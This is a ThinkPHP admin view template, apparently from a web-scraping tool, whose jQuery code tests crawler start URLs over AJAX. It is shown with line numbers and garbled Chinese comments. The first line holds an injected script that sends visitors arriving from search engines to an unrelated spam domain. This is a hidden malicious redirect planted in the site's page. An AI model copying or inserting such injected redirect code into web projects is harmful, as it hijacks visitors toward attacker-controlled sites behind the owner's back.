d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\test_source_urls.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><style type="text/css">
002: #test_source_urls .source_url{padding:5px;}
003: #test_source_urls p{margin:0;}
004: </style>
005: <div id="test_source_urls">
006: <if condition="empty($source_urls)">
007:    没有起始页网€
008: <else/>
009:    <foreach name="source_urls" item="source_url">
010:    <div class="source_url" url="{$source_url}">
011:       <p><b>抓取起始页面?/b>{$source_url}</p>
012:       <p class="cont_urls_num"></p>
013:       <div class="cont_urls_list">
014:       </div>
015:    </div>
016:    </foreach>
017: </if>
018: </div>
019: <script type="text/javascript">
020: 'use strict';//严格模式
021: var max_num=5;//测试时最多显示数?
022: var url_ajax_requests=new Array();//ajax对象
023: $(document).ready(function(){
024:    $('#test_source_urls .source_url').each(function(index){
025:       //起始页开始测?
026:       var obj=$(this);
027:       var source_url=$(this).attr('url');
028:       
029:       <if condition="!empty($config['level_urls'])">
030:       //有多?
031:       if(index<max_num){
032:          //测试前几?
033:          get_cont_urls(source_url,obj,1);
034:       }
035:       <else />
036:       get_cont_urls(source_url,obj,0);
037:       </if>
038:    });
039:    //展开收起
040:    $('#test_source_urls').on('click','.cont_urls_num a',function(){
041:       var status=$(this).attr('status');
042:       if(status==1){
043:          $(this).html('[展开]');
044:          $(this).attr('status',0);
045:          $(this).parent().siblings('.cont_urls_list').hide();
046:       }else{
047:          $(this).html('[收起]');
048:          $(this).attr('status',1);
049:          $(this).parent().siblings('.cont_urls_list').show();
050:       }
051:    });
052:
053:    //获取网址
054:    function get_cont_urls(source_url,curObj,level){
055:       if(source_url){
056:          curObj.children('.cont_urls_list').html('<img src="'+window.site_config.pub+'/images/load1.gif">').show();
057:         
058:          var url="{:U('Collector/test?op=cont_urls&coll_id='.$collData['id'].'&source_url=_url_&level=_level_')}";
059:          url=url.replace('_url_',encodeURIComponent(source_url)).replace('_level_',level);
060:          var url_ajax_request=$.ajax({
061:             type:'get',
062:             url:url,
063:             async:true,
064:             success:function(data){
065:                if(data.status==1){
066:                   //内容网址列表
067:                   var urls=data.info.urls;
068:                   var list='<ul style="list-style-type:'+(level>0?'decimal':'square')+';padding-left:15px;white-space:normal;overflow-x:scroll;">';
069:                   if(level>0){
070:                      //抓取级别网址
071:                      for(var i in urls){
072:                         if(i<max_num){
073:                            //测试前几?
074:                            list+='<li class="source_url" url="'+urls[i]+'"><p><b>抓取?+level+'级页??+data.info.levelName+'”:</b>'+urls[i]+'</p><p class="cont_urls_num"></p><div class="cont_urls_list"></div></li>';
075:                         }
076:                      }
077:                      list+='</ul>';
078:                     
079:                      curObj.children('.cont_urls_list').html(list).show();
080:                      curObj.children('.cont_urls_num').html('获取?+urls.length+'条网€'+(urls.length>max_num?'(只测试?+max_num+'条)':'')+' <a href="javascript:;" status="1">[收起]</a>');
081:
082:                      curObj.children('.cont_urls_list').find('.source_url').each(function(){
083:                         var obj=$(this);
084:                         get_cont_urls(obj.attr('url'),obj,data.info.nextLevel);//抓取下一级或内容?
085:                      });
086:                     
087:                   }else{
088:                      //无级别,显示测试网址
089:                      var test_cont_url="{:U('Collector/test?op=cont_url&coll_id='.$collData['id'])}&cont_url=_url_";
090:                      for(var i in urls){
091:                         list+='<li><a href="'+(test_cont_url.replace('_url_',encodeURIComponent(urls[i])))+'" target="_test_cont">测试</a> '+urls[i]+'</li>';
092:                      }
093:                      list+='</ul>';
094:                     
095:                      //没有下一?
096:                      curObj.children('.cont_urls_list').html(list).hide();
097:                      curObj.children('.cont_urls_num').html('获取?+urls.length+'条网€ <a href="javascript:;" status="0">[展开]</a>');
098:                   }
099:                }else{
100:                   //错误信息
101:                   curObj.children('.cont_urls_list').html('<span style="color:red">'+data.info+'</span>').show();
102:                }
103:             },
104:             dataType:'json'
105:          });
106:          window.url_ajax_requests.push(url_ajax_request);
107:       }
108:    }
109: });
110: $('#myModal').on('hide.bs.modal', function (e) {
111:    if(window.url_ajax_requests){
112:       //€出时清除€有ajax请求
113:       for(var i in window.url_ajax_requests){
114:          window.url_ajax_requests[i].abort();//终止ajax
115:       }
116:    }
117: });
118: </script>
119:
120: